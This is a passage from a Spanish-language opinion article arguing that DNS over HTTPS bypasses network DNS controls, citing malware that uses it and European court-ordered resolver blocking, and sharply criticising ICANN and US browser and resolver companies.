de consulta. Es un punto de control: donde un dominio conocido como malo se responde con nada, donde una consulta a un servidor de mando aparece en un registro, donde Protective DNS rechaza el dominio de malware antes de que se establezca la conexión. DoH le quita la consulta a tu resolver y se la entrega a uno que nunca elegiste, y todo control que colgaste de ese resolver se va con ella.\nEl DNS normal pasa por tu resolver. DoH lo rodea. El mismo portátil, la misma pregunta. Una respuesta pasa tus controles, la otra no los encuentra. DNS normal, puerto 53 DNS over HTTPS, puerto 443 Portátil pide un nombre Tu resolver lista de bloqueo y feed comprobados consulta registrada contra el cliente nombre malo respondido NXDOMAIN Internet solo si pasó Portátil pide un nombre Tu resolver nunca preguntado nada que bloquear nada que registrar HTTPS a un resolver que él elige El resolver de otro responde cualquier cosa El cortafuegos ve una conexión web cifrada más. Tiene miles por minuto, y en el cable esta se parece al resto. El mismo portátil haciendo la misma pregunta. A la izquierda pasa por tu resolver, que comprueba el nombre, lo registra y solo entonces pregunta a internet. A la derecha sale directamente por HTTPS hacia un resolver que elige el cliente. Tu resolver nunca la oye, así que no hay nada que bloquear ni nada que registrar, y en la frontera es una conexión web cifrada más entre miles. Esto no es un argumento contra cifrar el DNS. El DNS cifrado es lo correcto, y la última sección de este artículo es cómo hacerlo. Es un argumento sobre quién puede elegir el resolver, porque esa elección es toda la partida, y DoH se diseñó para quitártela y dársela al navegador, a la app y, si no tienes cuidado, al atacante.\nQué Es DoH En Realidad Quítale la marca y DoH es una petición web normal que resulta llevar una pregunta DNS.\nEl DNS normal es un pequeño mensaje binario enviado por UDP o TCP al puerto 53. DoH mete ese mismo mensaje, o una versión JSON de él, dentro de una petición HTTPS a un servidor web que habla el protocolo; la respuesta es una respuesta HTTPS1. Esa es la idea entera.\nRFC 8484 lo estandarizó en octubre de 2018, y la intención nunca se ocultó. El objetivo, dice su propia introducción, es «allowing web applications to access DNS information via existing browser APIs»1.\nAPIs de navegador existentes. Una página web. Nadie descubrió eso como un efecto secundario incómodo años después. Está en el primer párrafo del estándar, escrito como el objetivo.\nAquí tienes una consulta hecha a la manera DoH, desde la línea de comandos, contra un resolver público, pidiendo example.com:\n$ curl -s -H \u0026#39;accept: application/dns-json\u0026#39; \\ \u0026#39;https://cloudflare-dns.com/dns-query?name=example.com\u0026amp;type=A\u0026#39; {\u0026#34;Status\u0026#34;:0,\u0026#34;TC\u0026#34;:false,\u0026#34;RD\u0026#34;:true,\u0026#34;RA\u0026#34;:true,\u0026#34;AD\u0026#34;:true,\u0026#34;CD\u0026#34;:false, \u0026#34;Question\u0026#34;:[{\u0026#34;name\u0026#34;:\u0026#34;example.com\u0026#34;,\u0026#34;type\u0026#34;:1}], \u0026#34;Answer\u0026#34;:[{\u0026#34;name\u0026#34;:\u0026#34;example.com\u0026#34;,\u0026#34;type\u0026#34;:1,\u0026#34;TTL\u0026#34;:146, \u0026#34;data\u0026#34;:\u0026#34;23.192.228.80\u0026#34;}]} Ningún cliente especial. Ningún puerto salvo el 443. Una sola petición HTTPS, con la misma forma que cargar una página web, y un nombre resuelto por una máquina al otro lado del mundo que nunca ha oído hablar de tu red ni de tus reglas. Google opera el mismo endpoint, también Quad9, y decenas más.\nAhora mira lo que ve tu cortafuegos. Una conexión TLS a un servidor web en el 443, que no puede leer por dentro porque ese es el sentido de TLS, y que no puede distinguir de los cientos de otras que se abren cada segundo hacia redes de distribución de contenido, analíticas y anuncios. La pregunta DNS ha desaparecido. Salió del edificio vestida de tráfico web y nadie en la puerta pudo verle la cara.\nEn el cable, una consulta DoH es una pregunta DNS sellada dentro de una petición web. La misma pregunta. Una va escrita en el sobre, la otra sellada tres capas dentro. DNS en texto claro, puerto 53 DoH, puerto 443 Consulta DNS name=badsite.example type=A El cortafuegos lee esto entero. Ve el nombre, lo comprueba, lo bloquea o lo registra. Registro TLS (todo lo que ve el cortafuegos) Petición HTTP a un servidor web Consulta DNS (sellada) name=badsite.example type=A En el puerto 443 el cortafuegos solo ve la capa exterior. Una conexión TLS a un servidor web, igual que una carga de página, un anuncio o una baliza de analítica. El nombre nunca aflora. Una consulta DNS normal va escrita en el sobre: el cortafuegos lee el nombre y actúa sobre él. Una consulta DoH es la misma pregunta sellada dentro de una petición HTTP dentro de un registro TLS, y todo lo que el cortafuegos ve es la capa exterior, una conexión a un servidor web en el 443 que se parece a cualquier otra. El nombre nunca aflora donde un control pudiera alcanzarlo. Hay tres formas en que un cliente puede mover una consulta DNS, y vale la pena ponerlas una al lado de la otra, porque la diferencia es todo el artículo.\nTransporte Puerto Tu resolver la ve Rechazable en la frontera Cifrada DNS normal 53 (UDP/TCP) Sí, si la fuerzas por él Sí, cierra el 53 saliente No DNS over TLS (DoT) 853 Solo si apunta al tuyo Sí, cierra el 853 saliente Sí DNS over HTTPS (DoH) 443 Solo si apunta al tuyo No, no puedes cerrar el 443 Sí El DNS normal es legible y bloqueable, y por eso mismo era fácil de controlar y fácil de espiar. DoT cifra la consulta pero conserva su propio puerto, así que aún puedes rechazarla en la frontera. DoH es el que no tiene asa: cifrado como DoT, pero compartiendo el único puerto que nunca puedes cerrar, así que la única palanca que queda es qué resolver eligió el cliente, y de esa palanca trata este artículo.\nQuién Elige El Resolver Esto importa porque una máquina moderna tiene cinco cosas distintas que pueden decidir cada una adónde va el DNS, y tú controlas exactamente una de ellas por defecto.\nCinco cosas en una máquina pueden elegir un resolver. Tú fijas una. Quién decide adónde va la consulta Capa Quién elige el resolver ¿Tuyo por defecto? Sistema operativo Tu red, por DHCP o anuncios de router Sí Navegador El valor por defecto del fabricante, salvo que tu política lo cambie Solo si fijas la política Aplicación o su biblioteca Quien escribió el código, en tiempo de compilación No Script en una página web Quien lleva el sitio, o cualquier script que cargue No Malware El operador, fijado en el código, a menudo por dirección y no por nombre No Ninguna de las tres de abajo necesita permisos de administrador, un ajuste cambiado, ni nada que verías en el SO. Cinco capas en una máquina, cada una capaz de elegir su propio resolver. El sistema operativo usa el que reparte tu red, y ese es tuyo. El navegador usa el que su fabricante trae por defecto, salvo que tu política diga otra cosa. Una aplicación, un script en una página web y el malware eligen cada uno por su cuenta y no necesitan nada de ti para hacerlo. El sistema operativo pregunta al resolver que tu red repartió por DHCP o por anuncios de router. Ese es tuyo, y es el modelo que asumió todo lo anterior a 2019 más o menos: un resolver, repartido por la red, y por eso los controles DNS a nivel de red funcionaron durante treinta años.\nEl navegador lo rompió. Firefox y Chrome ambos incorporan la maquinaria para hacer su propio DoH, hacia un resolver que eligió su fabricante, por encima de ti, retirándose solo cuando detectan una red gestionada. Y una aplicación puede llevar su propio cliente DoH y un resolver fijado en su código, decidido en tiempo de compilación; no lee tu DHCP ni pregunta. Mucho software legítimo ya lo hace.\nUn script en una página web es el que debería detenerte, porque no necesita nada instalado en absoluto. Aquel comando curl de arriba es una sola petición HTTPS, y un navegador se gana la vida haciendo peticiones HTTPS. Unas pocas líneas de JavaScript en cualquier página que un usuario abra pueden enviar consultas a un endpoint DoH público, porque los grandes proveedores permiten deliberadamente peticiones de origen cruzado para que las apps web puedan usarlos, el objetivo declarado en RFC 8484. La página que estás leyendo podría resolver nombres a través de un resolver en otro país ahora mismo y tú verías una conexión HTTPS más.\nY el malware elige su propio resolver por la razón evidente: no quiere que veas adónde está llamando. Lleva el resolver en su código, a menudo alcanzándolo por dirección para que no haya consulta de arranque que atrapar, y no necesita tu permiso para nada de ello.\nLee esa columna otra vez. Las tres de abajo no necesitan permisos de administrador, ni un ajuste cambiado, ni nada que se vea en el sistema operativo. El control que tardaste años en construir, un resolver, una lista de bloqueo, un registro, asumía que la fila de arriba era la única fila. No lo es desde hace años.\nEl Mismo Truco Que Temían Los Fabricantes De Navegadores El caso de la página web no es teórico ni reciente. Es cómo se abusa de los ayudantes de protocolo: una página web emite bytes, algo aguas abajo actúa sobre ellos, y no puede saber si vinieron de la página de un atacante o de un cliente real, porque en el cable son idénticos. Con DoH la pieza de aguas abajo es un resolver público, que responde sin forma de saber que el JavaScript que pregunta vino de una página de phishing, y tu resolver, el que tiene la lista de bloqueo y el registro, nunca estuvo en el camino para opinar. No un agujero abierto a la fuerza en tus controles, sino un camino construido alrededor de ellos, pavimentado con el mismo cifrado que le dices a todo el mundo que use.\nYa Es El Canal Del Autor De Malware No tienes que imaginar cómo se usa esto. Está documentado desde hace años, por investigadores con nombre, sobre muestras reales, y la dirección del viaje es una sola: de bot criminal en 2019 a herramienta de inteligencia estatal al año siguiente, y más concurrida cada año desde entonces, con puertas traseras nuevas aún apareciendo en 2026.\nMuestra Reportado Actor Qué llevaba por DoH Godlua 1 de julio de 20192 Botnet criminal La consulta del nombre de su servidor de mando PsiXBot 6 de septiembre de 20193 Criminal (infostealer) Resolución del dominio de mando y control, vía el DoH de Google OilRig (APT34) T2 20204 Alineado con el Estado iraní Datos robados, exfiltrados por DoH hacia Google y Cloudflare ChamelDoH 16 de junio de 20235 ChamelGang (APT) Todo su canal de mando, TXT de DNS por DoH hacia Google y Cloudflare BRICKSTORM 4 de diciembre de 20256 Puerta trasera de nexo con China C2 enterrado bajo HTTPS y TLS anidado, DoH entre las capas Dohdoor 26 de febrero de 20267 Indeterminado (UAT-10027) Consultas de C2 enviadas al DoH de Cloudflare en el 443 Godlua, el primer caso ampliamente reportado, fue una puerta trasera para Linux y Windows cuyo análisis recoge que «uses DNS over HTTPS to get the C2 name to ensure secure communication between the bots, the Web Server and the C2»2. En una red vigilando el puerto 53, resolver tu servidor de mando es un regalo para el defensor. Sobre DoH no hay nada que observar.\nLa frase de Proofpoint sobre PsiXBot es la que vale la pena citar, un proveedor de inteligencia de amenazas diciendo en voz alta lo que se calla. Usar DoH para mando y control, escribieron, «should be a warning shot for the cybersecurity community as there are no simple solutions to help identify an infected host or the process of receiving instructions»3. Ninguna solución sencilla, de parte de la gente cuyo trabajo es encontrarlas.\nLuego OilRig lo llevó a otro nivel. La descripción de Kaspersky es exactamente el cambio del que trata este artículo: «instead of plain text requests to port 53, they would use port 443 in encrypted packets», con una herramienta que «allows DoH queries to Google and Cloudflare services»4. Una operación de inteligencia nacional, usando los proveedores DoH públicos como la tubería para sacar datos robados por delante de lo que fuera que vigilaba el DNS.\nY no se detuvo ahí. Se extendió. Para 2023 ChamelGang tenía una puerta trasera para Linux en C++, ChamelDoH, que llevaba todo su canal de mando por DoH, enviando consultas TXT de DNS a sus propios servidores de nombres a través de Google y Cloudflare; el investigador que la encontró señaló que tanto la detección como la prevención «become difficult», porque el transporte cifrado no puede interceptarse y una petición maliciosa no puede distinguirse de una real5. En diciembre de 2025 CISA desmontó BRICKSTORM, una puerta trasera de nexo con China que apila HTTPS, WebSockets y TLS anidado y «also uses DNS-over-HTTPS (DoH)» para enterrar su C2 en tráfico web corriente6. Para febrero de 2026 ya era pura rutina: Cisco Talos cazó a Dohdoor, que «securely sends encrypted DNS requests to Cloudflare\u0026rsquo;s DNS server over HTTPS port 443» para encontrar su servidor de mando, colándose por phishing en escuelas y hospitales estadounidenses7.\nEsa es la forma del asunto. No una técnica que tuvo su momento y se apagó, sino una que cae en más manos cada año. El problema va a peor, no a mejor, y una familia nueva aparece ahora puntualmente.\nUna sola propiedad hizo el trabajo en todos ellos: la consulta salió como HTTPS por el 443 y el resolver del defensor nunca la vio. No una debilidad que alguien podría encontrar algún día. Una característica que los atacantes han distribuido una y otra vez, varios de ellos Estados.\nY hay que tener claro por qué esa tabla se llena, año tras año. Cada familia que hay en ella cruza una puerta que a los autores de DoH les advirtieron que estaban dejando abierta, en el propio texto del estándar, y la dejaron abierta igualmente8. Eso no fue un descuido. Fue miopía, elegida a propósito, por gente que incluía al propio tecnólogo de ICANN. Así que lo llamaré por su nombre: en esto, ICANN son facilitadores de la ciberdelincuencia. Advertidos en el propio texto del estándar de qué se rompería, aun así su propia gente lo firmó, y la tabla de arriba es lo que cruzó por la brecha. El crimen no es ninguna sorpresa. Es la factura de una decisión, y de quién fue esa decisión trata el resto de este artículo.\nY con todo eso, DoH ni siquiera compra lo que la gente supone: protección frente a una respuesta falsificada. Cifrar el salto hasta un resolver no es autenticar lo que el resolver devuelve, y un servidor DoH aún puede devolver un registro falsificado. El estándar lo admite, diciendo que la regla contra servidores no configurados «does not guarantee protection against invalid data»9.\nEl único mecanismo que autentica una respuesta DNS es DNSSEC, y DoH no lo es. Peor aún, para casi todos los clientes DNSSEC se valida en el resolver recursivo, no en el dispositivo: el cliente simplemente se fía de la palabra del resolver de que la respuesta cuadró. Así que DNSSEC solo te protegió hasta donde te fiabas del resolver que hacía la comprobación, y la jugada real de DoH es entregar esa confianza a un operador remoto que no puedes ver ni auditar.\nComo tal, DoH puede dejarte más expuesto a caer en un sitio falsificado, no menos: las defensas locales que habrían atrapado una respuesta secuestrada, el feed de Protective DNS, el filtrado del propio operador, son justo las cosas que rodeaste, y lo único que queda es la palabra de un operador remoto, tomada por fe.\nDoH cambia en quién confías para la respuesta. No elimina la necesidad de confiar en alguien. Alguien tiene que ser de confianza para la respuesta. DoH solo cambia quién, y a uno que no puedes auditar. Tu propio resolver Un resolver DoH remoto Tu dispositivo Resolver que controlas Valida DNSSEC en tu nombre Lleva tu lista de bloqueo y registro Puedes inspeccionarlo y auditarlo Si miente, es tuyo y puedes comprobarlo Tu dispositivo tubería cifrada Resolver que no controlas Valida DNSSEC, y te fías de su palabra No puedes verlo ni auditarlo Tu lista de bloqueo local queda fuera del camino Si falsifica, nada local lo atrapa El cifrado asegura la tubería, no la verdad de la respuesta. DNSSEC se comprueba en el resolver, así que te fías del resolver igualmente. DoH solo hace que sea uno que no puedes ver. DoH no elimina la necesidad de fiarse de un resolver para la respuesta, solo la traslada. Tu propio resolver valida DNSSEC, lleva tu lista de bloqueo y puede auditarse; un resolver DoH remoto valida en tu nombre y tú tomas su palabra, sobre una tubería cifrada que asegura el salto y no dice nada sobre si la respuesta es verdadera. De qué se vende que protege DoH ¿Lo hace? Escucha en el salto hasta el resolver Sí, la consulta va cifrada Manipulación en ese salto Sí Un registro falsificado por el propio resolver No, eso es cosa de DNSSEC, no de DoH Un resolver malicioso, coaccionado o comprometido No, ahora te fías de él por completo Bloqueo de malware, rastreadores y órdenes judiciales No, los rodea Y nada de esto es una idea nueva con la que DoH tropezó por accidente. Filtrar dominios maliciosos en el resolver es exactamente lo que OpenDNS lleva haciendo cerca de veinte años, bloqueando phishing y malware para millones de usuarios antes de que la respuesta llegara siquiera, que es el modelo que Cisco pagó por poseer en 201510. Dos décadas de seguridad a nivel de resolver que protegió a gente que nunca configuró nada, y DoH socavó todo el modelo de un solo golpe: apunta la app a su propio resolver, y OpenDNS, o lo que fuera que tu red eligiera, ya no está en el camino.\nPor Qué La Respuesta De Antes Dejó De Funcionar Mientras el DNS vivió en el puerto 53, la respuesta de red era simple. Obliga a cada cliente a usar tu resolver, y bloquea el puerto 53 saliente hacia cualquier otro sitio en la frontera. Una máquina que buscara un servidor DNS externo era rechazada, así que tenía que pasar por el tuyo, así que tus controles se aplicaban a todo. Rudimentario, y funcionaba.\nDoH mata eso de un movimiento usando el 443. No puedes bloquear el 443 saliente. Es la web. Así que el puerto que cerrarías para forzar el DNS por tu resolver es el único que nunca puedes cerrar, y el cifrado que impide que tu ISP fisgonee te impide también distinguir una consulta DoH de una carga de página.\nLas dos cosas que usarías para recuperar el control, cerrar el puerto y leer el tráfico, se han ido las dos por diseño. Derrotar exactamente esas dos, en manos de una red hostil, es para lo que se construyó DoH.\nY leer el tráfico no es la escapatoria que parece, porque solo hay una forma de hacerlo: romper e inspeccionar todo. Para ver el DNS dentro de una conexión 443 tienes que hacer de hombre en el medio en cada conexión HTTPS de la red, poner tu propio certificado raíz en cada dispositivo, y descifrar y recifrar todo. Eso es a lo que un número creciente de administradores recurre ahora, para arañar la visibilidad que una sola regla de cortafuegos les daba gratis.\nY es un trato mucho peor: has debilitado TLS para todo, has puesto una caja de descifrado en el camino de cada inicio de sesión y cada operación bancaria, y has construido un único blanco que compromete todo ello, una postura contra la que US-CERT advirtió sin rodeos11. El control proporcionado se rompió, así que el desproporcionado es lo que queda.\nY ahí está la encerrona. El mecanismo que protege a un periodista en el WiFi de un aeropuerto de una red hostil es el que protege al malware de tu red de ti, y el protocolo no puede distinguir los dos casos. Un resolver que está siendo rodeado no sabe si es un censor o un equipo de seguridad. Solo sabe que lo han dejado fuera.\nLa Respuesta Correcta Siempre Fue DNS Over TLS Aquí está la parte que lo delata. Cifrar el DNS nunca necesitó nada de esto. Se hizo dos años antes que DoH, de una manera que dejaba a quien lleva la red capaz de hacer su trabajo.\nDNS over TLS, RFC 7858, es de mayo de 2016. Su resumen dice para qué es en la primera línea: «provide privacy for DNS», cifrado que «eliminates opportunities for eavesdropping and on-path tampering with DNS queries in the network»12. Ese es el caso de la privacidad entero, resuelto: la cafetería y el ISP quedan fuera exactamente igual que con DoH, porque la consulta va cifrada de extremo a extremo.\nY lo coescribió Paul Hoffman, que después coescribió también el estándar DoH1. No dos bandos rivales, entonces. La misma gente, que ya había resuelto la privacidad, resolviéndola otra vez de otra forma.\nQuién es Hoffman importa, porque dice de dónde vino esto. No es un espectador en el DNS: su nombre está en más de ochenta RFC, entre ellos el estándar de terminología DNS, y hace el trabajo como tecnólogo en ICANN13. Así que el estándar que escondió el DNS en el 443 se coescribió desde dentro de ICANN, el organismo estadounidense que decide qué va en la raíz.\nE ICANN no es el custodio desinteresado que la palabra sugiere. He expuesto su historial por separado: construido en California, sujeto a California, y dispuesto a usar su posición sobre el espacio de nombres para sus propios fines. Esto no fue una campaña de privacidad desde la periferia. Fue el establishment que sostiene la raíz, resolviendo por segunda vez un caso de privacidad que ya había resuelto en 2016, de una manera que quitó de en medio al operador de red.\nAsí que pregúntate qué añadió la segunda forma, porque la privacidad no fue.\nEstándar Año Puerto Cifra el DNS El operador aún ve que es DNS DNS over TLS (RFC 7858) 2016 853 Sí Sí DNS over HTTPS (RFC 8484) 2018 443 Sí No La privacidad se resolvió en 2016 con DoT. DoH llegó dos años después y solo añadió evasión. DNS cifrado: qué llegó primero y qué llegó después may 2016 DNS over TLS (RFC 7858), puerto 853 Cifra el DNS. El operador aún ve que es DNS. Privacidad resuelta. oct 2018 DNS over HTTPS (RFC 8484), puerto 443 Mismo autor principal. Mismo cifrado. El operador ya no lo ve. jul 2019 Godlua: el primer malware que esconde su C2 sobre DoH jul 2019 ISPA tacha a Mozilla de «Internet Villain» por DoH, y luego lo retira sep 2019 PsiXBot resuelve sus dominios de C2 sobre el DoH de Google feb 2020 Firefox activa DoH por defecto en EE. UU., resolver Cloudflare T2 2020 OilRig (APT34) exfiltra datos sobre DoH La privacidad estaba completa en 2016. Todo lo que hay debajo del segundo punto es evasión y para qué se usó la evasión. Nada de ello exigió un nuevo estándar de privacidad. El orden es el argumento. DNS over TLS resolvió el problema de la privacidad en 2016, en un puerto que el operador de red aún puede gobernar. DNS over HTTPS llegó dos años después del mismo autor principal, no añadió nada a la privacidad salvo el cambio al puerto 443, y todo lo que hay debajo de ese segundo punto es evasión y para qué se usó la evasión. La única casilla que cambió es la última. DoT corre en su propio puerto, el 853, así que el operador puede ver que es DNS y decidir qué le pasa: permitirlo hacia el resolver autorizado, rechazarlo en otro sitio. DoH pone la misma consulta cifrada en el 443 y la mezcla con la web, donde el operador no puede distinguirla.\nMisma privacidad, mismo cifrado. La única diferencia entre los dos estándares es si quien lleva la red aún puede ver su propio DNS. Eso no es una característica de privacidad. La privacidad se entregó en 2016. Es una característica de evasión, y es lo único que DoH añade.\nY lo sabían. Esto está documentado, no inferido. Las propias Operational Considerations de RFC 8484 lo dicen sin rodeos: «Filtering or inspection systems that rely on unsecured transport of DNS will not function in a DNS over HTTPS environment due to the confidentiality and integrity protection provided by TLS»8.\nEsos sistemas son las herramientas de seguridad que ya protegían a los usuarios: bloqueo de malware y de servidores de mando, feeds de Protective DNS, filtros de protección infantil, inspección empresarial. El estándar los nombra, en su propio texto, como las cosas que dejan de funcionar. Romper unas herramientas que ya defendían a la gente fue una decisión, tomada con los ojos abiertos y distribuida activada por defecto. Conocer el efecto y elegirlo de todos modos es una decisión de la que se les puede pedir cuentas.\nPor eso el encuadre de la privacidad no sobrevive a la cronología. Una vez que DoT existe, la privacidad no puede ser la razón de DoH, porque la privacidad ya estaba hecha, por el mismo autor, dos años antes. Así que la privacidad era la tapadera.\nRetírala y mira lo que el segundo estándar puso realmente en marcha: una carrera armamentística. Cogió un control que era una línea de cortafuegos y lo convirtió en una persecución permanente, resolvers contra listas de bloqueo contra resolvers nuevos, el operador perdiendo por defecto, y un puñado de empresas estadounidenses con el texto claro al final de todo.\nLlámalo un efecto secundario de una característica de privacidad si quieres. Con las pruebas delante, con DoT ya distribuido y el propio estándar admitiendo que rompería el filtrado, es el objetivo, y la privacidad era la palabra pintada en la caja. Y se empujó con fuerza bajo esa palabra, por las partes que ganaron.\nImpulsaron y distribuyeron DoH Qué son además Mozilla Coescribió RFC 8484, luego activó DoH por defecto en el Firefox de EE. UU., resolver Cloudflare Google Distribuye DoH en Chrome, opera un gran resolver DoH público y es una empresa de publicidad Cloudflare El resolver por defecto del Firefox de EE. UU., así que recibe esas consultas Quienes lo vendían como privacidad eran los fabricantes de navegadores, y los beneficiarios no eran solo los usuarios.\n¿Puedo preguntar por qué, si el objetivo era la privacidad, la respuesta no fue el estándar de DNS cifrado que ya existía y mantenía al operador en el bucle, sino un segundo construido para que el operador no pudiera verlo? No pregunto quién lo firmó. Pregunto qué parte de «privacidad» exigía dejar fuera a la única persona responsable de la red.\nPorque ese es el verdadero blanco, y es el administrador de red: el profesional responsable de la seguridad y de la protección de la red, tratado como el adversario por defecto. DoH ni siquiera elimina la vigilancia de la que se quejaba el discurso de la privacidad. Como expuso Bert Hubert de PowerDNS, el DNS «typically provided by the operator of a network», y trasladarlo a un tercero por defecto es «a net-negative for privacy for everyone», porque ese tercero «gets a complete log per device of all DNS queries, in a way that can even be tracked across IP addresses»14.\nLas consultas no quedan ocultas. Se entregan a un operador de resolver estadounidense en lugar de al administrador, y el administrador es la única parte que se retira. Los fabricantes lo saben, también. La lógica de «detectar una red gestionada y retirarse» de la siguiente sección existe precisamente porque el comportamiento por defecto pasa por encima del administrador, y distribuyeron el interruptor de apagado en vez de cambiar el comportamiento por defecto.\nAhora pregúntate quién gana con desviar el DNS por delante del operador. El caso de manual es el periodista en el WiFi hostil de un aeropuerto, y esa persona es real. También lo es la industria de la publicidad y el rastreo, cuyos dominios pasan por delante de la lista de bloqueo de una red en cuanto una app o un navegador los resuelve por DoH.\nEl bloqueo a nivel de red, el Pi-hole, la lista de bloqueo corporativa, el resolver de filtrado, funciona respondiendo con nada al nombre de un rastreador. DoH es como el nombre se responde de todos modos. Y el mayor operador de un resolver DoH público es Google15, una empresa de publicidad que además distribuye DoH en su propio navegador16.\nUna característica de privacidad, vendida por la empresa que vende el rastreo, cuyo diseño derrota la herramienta que la gente usa para bloquearlo. Piensa lo que quieras de eso. Yo lo tengo claro.\nHasta la versión burda de esta objeción se aireó. En julio de 2019 el organismo de la patronal de ISP del Reino Unido nominó a Mozilla «Internet Villain» por un DoH que «bypass UK filtering obligations and parental controls, undermining internet safety standards in the UK»17. Escogieron un blanco torpe y un encuadre peor, les cayó la bronca, y la retiraron.\nQuita la política, sin embargo, y la observación de debajo era correcta, y se sostiene tanto si el control que se rodea es un filtro de protección infantil, una lista de bloqueo de empresa o un Pi-hole en una habitación libre. DoH está construido para sacar el DNS por delante de quienquiera que lleve la red.\nY no es asunto menor, porque DoH es ahora el más difícil de los tres de bloquear siquiera. DoT está en el 853, donde una red aún puede rechazarlo. DoH no, así que de todas las formas en que el DNS puede salir de una red es la única sin asa, lo que lo convierte en el mayor riesgo individual de todos.\nEso alcanza a la ley, no solo a la seguridad. En el Reino Unido el bloqueo que tiene peso legal se hace en el ISP por DNS: la lista de la Internet Watch Foundation de material de abuso sexual infantil, y las órdenes de bloqueo por derechos de autor que el High Court dicta bajo el artículo 97A, se aplican mediante filtrado de DNS e IP en el resolver que se entrega al cliente18.\nDesvía por DoH la mitad de DNS de eso y el bloqueo no se aplica a ese cliente. Un tribunal puede ordenar el bloqueo de un sitio, se le puede decir a una red que lo aplique, y un navegador que resuelve por DoH encuentra la dirección de todos modos, por un canal que la red no puede ver ni cerrar. Aplicar una ley de ciberseguridad o una orden judicial a nivel de red, que es donde siempre se ha aplicado, se vuelve casi imposible.\nY aquí es donde la factura cae sobre todos, no solo sobre la red. Rompe el control proporcionado, el quirúrgico que bloqueaba un dominio con nombre en el resolver bajo una orden judicial, y el Estado no se rinde. Echa mano de un instrumento más romo. La Online Safety Act del Reino Unido es ese instrumento: deberes amplios sobre las plataformas, verificación de edad obligatoria, y Ofcom detrás con las multas, un régimen que toca a cada usuario y cada servicio del país19.\nNo estoy defendiendo la ley. Estoy señalando de dónde vino la presión que la trajo. Cuando la herramienta estrecha que aplicaba la ley en la red deja de funcionar, no obtienes menos aplicación, obtienes una aplicación más burda, más amplia, más intrusiva y dirigida a todos, porque la versión dirigida ya no se sostiene. Ese es el precio de romper un control básico, y quienes lo rompieron no son quienes lo pagan.\nY a ICANN le da igual, porque desde California no es su problema. Cuando un bloqueo falla o una plataforma incumple sus obligaciones, no es ICANN quien acaba ante un tribunal, es el operador, la plataforma, la empresa, enfrentándose a Ofcom y a las multas. Las consecuencias caen sobre todos los que están aguas abajo de una decisión de la que el organismo que la tomó nunca tiene que responder.\nRompe el control quirúrgico y el Estado echa mano del mazo. Todos pagan. Rompe el control proporcionado, y uno más burdo ocupa su lugar El control quirúrgico Bloquea un dominio con nombre en el resolver, bajo una orden judicial Preciso, proporcionado, dirigido solo al blanco DoH lo rompe la consulta ya no pasa por el resolver El instrumento romo La Online Safety Act: verificación de edad a todos, deberes en cada plataforma, Ofcom con las multas Dirigido a todo el país Rompe la herramienta estrecha y el Estado no se rinde. Echa mano de la amplia, dirigida a todos, porque la versión dirigida ya no se sostiene. Y quienes rompieron la herramienta estrecha no son quienes pagan la amplia. El control quirúrgico bloqueaba un dominio con nombre en el resolver bajo una orden judicial. DoH lo rompe, así que el Estado echa mano del instrumento romo: la Online Safety Act, dirigida a cada usuario y cada plataforma del país. Rompe la herramienta estrecha y no obtienes menos aplicación, obtienes una más amplia que nadie puede dirigir. Alinea las consecuencias y todas tienen la misma forma: algo que la red solía aplicar en el resolver, y que ya no puede.\nQué aplicaba la red Cómo se hacía Con DoH Bloqueo de malware y de servidores de mando lista de bloqueo del resolver y feed de amenazas rodeado; Godlua, PsiXBot y OilRig hicieron justo esto Bloqueo de anuncios y rastreadores Pi-hole o un resolver de filtrado rodeado; el nombre del rastreador se resuelve igual Órdenes judiciales y la lista de la IWF filtrado de DNS del ISP el bloqueo por DNS no se aplica a ese cliente DoT era la respuesta honesta. Cifra tu DNS y deja al operador capaz de hacer su trabajo. DoH conservó el cifrado y añadió una cosa encima: el operador ya no puede verlo. Todo lo demás sobre él se deriva de esa única elección.\nHecho En EE. UU., Litigado En Todo El Mundo Nada de esto se detiene en el canal de la Mancha, y leerlo como un problema británico lo reduce a una fracción de su tamaño. La misma forma se repite por toda Europa y hasta Australia. Un instrumento legal por un extremo, un bloqueo de DNS en la red por el otro.\nEn Australia, su Tribunal Federal ordena a los ISP deshabilitar el acceso a sitios infractores en el extranjero al amparo de la section 115A de la Copyright Act20. Portugal se salta el tribunal por completo: un memorando administrativo por el que los titulares de derechos avisan a un organismo llamado MAPINET, y los ISP bloquean por DNS en quince días hábiles21. Estatutos distintos, un mismo supuesto que lo sostiene todo, y es el supuesto que DoH les quita de debajo a todos. Que el cliente resuelve a través del resolver que le entregaron.\nAsí que mira lo que hace un Estado cuando ese supuesto falla. Deja de apoyarse en el ISP y empieza a ordenar a los propios resolvers públicos que devuelvan la respuesta equivocada. No es un pronóstico. Es una pila de sentencias, y no para de crecer.\nPaís La orden de bloqueo El resolver público Qué pasó Italia Piracy Shield de AGCOM, nombres bloqueados en 30 minutos obligado a filtrar, 1.1.1.1 incluido Cloudflare se negó, fue multada con €14,247,698 y recurre22 Francia requerimiento de Canal+ por streaming deportivo Google, Cloudflare y OpenDNS, todos nombrados Cloudflare sirve un HTTP 451, Google falla la consulta en silencio, OpenDNS se apagó para el país23 Bélgica más de 100 dominios de piratería deportiva los mismos tres resolvers Cloudflare cumple con un 451, Google calla, OpenDNS también dejó Bélgica23 Alemania Universal Music v Cloudflare ordenado en primera instancia, 1.1.1.1 incluido revocado en apelación, Colonia considera el resolver «pasivo, automático y neutral»24 Países Bajos bloqueo dinámico de BREIN a nivel de ISP, el resolver aún no Ziggo, KPN y el resto bloquean por DNS e IP, actualizado a petición25 Léelo como una sola cosa, no como cinco. Un puñado de empresas estadounidenses reescribió el DNS para todo el planeta por su cuenta y riesgo, rompió el control proporcionado que cada uno de estos países había construido, y dejó a los tribunales resolver qué hacer con los restos. Las respuestas que dan esas empresas, arrastradas ante un estrado distinto cada pocos meses, te dicen exactamente cuánto pesa el resto del mundo para ellas. Una recurre y grita censura. Otra falla la consulta y no le dice nada al usuario. Y OpenDNS, el resolver que filtró malware sin ruido durante veinte años y que este artículo ya ha puesto como modelo a copiar, ni siquiera discute. Se apaga para Francia y para Portugal antes que servirles en esos términos26.\nDetente en esa última. Es el buen ejemplo de todo este artículo saliendo por la puerta. El servicio que protegía a gente que nunca configuró nada ahora encuentra que abandonar un país entero le sale más fácil que servirlo, y la razón se remonta directamente a una decisión de diseño tomada en California por gente que nunca tuvo que pensar en un tribunal francés ni en uno portugués.\nEse es el patrón, y lo voy a nombrar. Esto es lo que la ingeniería de plataformas estadounidense le hace a todo lo que no sean los Estados Unidos. Construye para su propio mercado, entrega el resultado al mundo como opción por defecto, y trata la ley de cualquier otro país, cada regulador, cada comunidad que queda aguas abajo del cambio, como un lío que ya limpiará otro.\nY el gobierno de casa respalda a las empresas hasta el final. En febrero de 